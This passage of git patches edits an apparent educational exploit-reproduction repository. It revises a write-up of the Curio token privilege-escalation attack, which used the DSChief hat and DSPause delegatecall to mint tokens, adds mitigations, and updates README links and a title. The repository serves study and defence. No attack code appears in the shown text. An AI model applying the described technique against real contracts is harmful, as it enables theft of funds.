constant @@ -168,7 +168,7 @@ Finally, make the `delegatecall` from the `DSPauseProxy`: } ``` -Upon making that `delegatecall`, `DSPause` verifies through `DSChief.canCall`, which returned true given the attacker's contract was now the hat. Since `DSPause` executes actions with delegatecall and possessed minting authority for the token, the attacker deployed a malicious custom `Spell` contract to mint tokens directly to their address. +Upon making that `delegatecall`, `DSPause` verifies through `DSChief.canCall`, which returned true given the attacker's contract was now the hat. Since `DSPause` executes actions with `delegatecall` and got minting authority for the token, the attacker deployed a malicious custom `Spell` contract to mint tokens directly to their address. - `Spell` contract: ```solidity @@ -188,6 +188,9 @@ Upon making that `delegatecall`, `DSPause` verifies through `DSChief.canCall`, w Then, the attacker made multiple swaps and cross-chain transfers using different providers. ## Possible mitigations +1. Implement stringent access controls to prevent unauthorized role changes +2. Simulate and test safe operative values for voting power. +3. The system's voting power and privileges setup should be robust enough to prevent/handle voting power manipulation attacks, collusion, among others. ## Sources and references - [Curio Tweet](https://twitter.com/curio_invest/status/1771635979192774674) From 079247b9f0d58b9e50e267bb4687d1579c2088b4 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 7 Jun 2024 10:11:04 -0300 Subject: [PATCH 17/19] add: curio to global readme --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index f6e417a5..4b7c4efc 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ The full list is below: - [Sandbox, Feb 2022 - (1 NFT, possibly more) - Public Burn](/test/Access_Control/Sandbox) - [Punk Protocol, Aug 2021 - (~$8MM) - Non initialized contract](/test/Access_Control/PunkProtocol) - [MBC Token, Nov 2022 - (~$8MM) - External function](/test/Access_Control/MBCToken) +- [Curio Token, Mar 2024 - (~$16MM) - Privilege escalation](/test/Access_Control/MBCToken) ### Bad Data Validation - [Olympus DAO Bond, Oct 2022 - (~$300,000) - Arbitrary Tokens / Unchecked transfers](/test/Bad_Data_Validation/Bond_OlympusDAO/) From 1c4f81cbd9ee40d4623a0712f8349625e0232a08 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 7 Jun 2024 10:11:58 -0300 Subject: [PATCH 18/19] add: curio to readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4b7c4efc..52fb77da 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ The full list is below: - [Sandbox, Feb 2022 - (1 NFT, possibly more) - Public Burn](/test/Access_Control/Sandbox) - [Punk Protocol, Aug 2021 - (~$8MM) - Non initialized contract](/test/Access_Control/PunkProtocol) - [MBC Token, Nov 2022 - (~$8MM) - External function](/test/Access_Control/MBCToken) -- [Curio Token, Mar 2024 - (~$16MM) - Privilege escalation](/test/Access_Control/MBCToken) +- [Curio Token, Mar 2024 - (~$16MM) - Privilege escalation](/test/Access_Control/Curio) ### Bad Data Validation - [Olympus DAO Bond, Oct 2022 - (~$300,000) - Arbitrary Tokens / Unchecked transfers](/test/Bad_Data_Validation/Bond_OlympusDAO/) From 872a0187a79af35bb94ceae486d496850e288d7a Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 7 Jun 2024 10:12:30 -0300 Subject: [PATCH 19/19] fix: curio title --- test/Access_Control/Curio/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/Access_Control/Curio/README.md b/test/Access_Control/Curio/README.md index ddd02955..f5e00dad 100644 --- a/test/Access_Control/Curio/README.md +++ b/test/Access_Control/Curio/README.md @@ -1,4 +1,4 @@ -# Curio Public Mint +# Curio Privilege Escalation - **Type:** Exploit - **Network:** Ethereum - **Total lost**: ~16MM USD